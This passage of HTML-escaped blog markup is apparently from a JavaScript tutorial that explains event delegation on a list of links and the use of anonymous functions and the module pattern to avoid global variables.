&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://blameitonthevoices.com/&quot;&gt;http://blameitonthevoices.com&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Blame it on the voices&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://oddlyspecific.com/&quot;&gt;http://oddlyspecific.com&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Oddly specific&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The normal way to apply event handlers here would be to loop through the links:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_756586&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;// Classic event handling example&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;resources = document.getElementById(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;resources&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;links = resources.getElementsByTagName(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;a&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;all = links.length;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;i=0;i&lt;all;i++){&lt; code=&quot;&quot;&gt;&lt;/all;i++){&lt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// Attach a listener to each link&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;links[i].addEventListener(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;click&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,handler,&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;false&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;};&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;handler(e){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;x = e.target; &lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// Get the link that was clicked&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;alert(x);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;e.preventDefault();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;};&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;})();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This could also be done with a single event handler:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_246537&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;resources = document.getElementById(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;resources&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;resources.addEventListener(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;click&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,handler,&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;false&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;handler(e){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;x = e.target; &lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// get the link tha&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(x.nodeName.toLowerCase() === &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;a&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;alert(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Event delegation:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ x);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;e.preventDefault();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;};&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;})();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Because the click happens on all the elements in the list, all you need to do is compare the &lt;code&gt;nodeName&lt;/code&gt; to the right element that you want to react to the event.&lt;br /&gt;
Disclaimer: while both of the event examples above work in browsers,  they fail in IE6. For IE6, you need to apply an event model other than  the W3C one, and this is why we use libraries for these tricks.&lt;br /&gt;
The benefits of this approach are more than just being able to use a  single event handler. Say, for example, you want to add more links  dynamically to this list. With event delegation, there is no need to  change anything; with simple event handling, you would have to reassign  handlers and re-loop the list.&lt;br /&gt;
&lt;h3&gt;Anonymous Functions And The Module Pattern&lt;/h3&gt;One of the most annoying things about JavaScript is that it has no  scope for variables. Any variable, function, array or object you define  that is not inside another function is global, which means that other  scripts on the same page can access—and will usually override— them.&lt;br /&gt;
The workaround is to encapsulate your variables in an anonymous  function and call that function immediately after you define it. For  example, the following definition would result in three global variables  and two global functions:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_444700&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;age = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;34&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;status = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;single&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;createMember(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;getMemberDetails(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Any other script on the page that has a variable named &lt;code&gt;status&lt;/code&gt; could cause trouble. If we wrap all of this in a name such as &lt;code&gt;myApplication&lt;/code&gt;, then we work around that issue:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_919901&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;myApplication = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;age = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;34&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;status = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;single&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;createMember(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
